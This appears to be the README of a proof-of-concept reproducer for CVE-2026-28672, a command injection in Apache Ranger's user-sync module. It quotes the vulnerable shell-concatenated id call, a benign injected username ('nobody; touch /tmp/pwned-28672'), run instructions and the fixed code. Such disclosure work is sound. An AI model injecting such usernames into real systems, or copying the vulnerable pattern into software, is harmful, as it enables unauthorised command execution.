CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS command injection

Runnable proof-of-concept reproducer for the OS command injection in Apache Ranger's user-sync (unixusersync) module.

While enumerating the groups of each synced user, UnixUserGroupBuilder runs the id command through a shell, concatenating the username into the command line:

// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java  (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});

The username comes from the configured user-sync source (LDAP/AD or a file), so it is attacker-influenced. A username containing shell metacharacters — e.g. alice; touch /tmp/pwned — is executed as an OS command (CWE-77, Improper Neutralization of Special Elements used in a Command).

Run

mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar

Expected output on the vulnerable code path:

[1] Benign username 'nobody':
      id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
      injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
      id -G 'nobody; touch /tmp/pwned-28672' -> null
      injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true

Vulnerability Summary

The fix

Apache Ranger 2.9.0 runs id directly as an argument vector, so the username is a single literal argument and is never interpreted by a shell:

// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});

UnixUserGroupBuilderVuln.java in this repository contains both forms verbatim, cited to the upstream source.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache Ranger users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The payload is benign (it creates a marker file under /tmp). Do not use this material against systems you do not own or operate.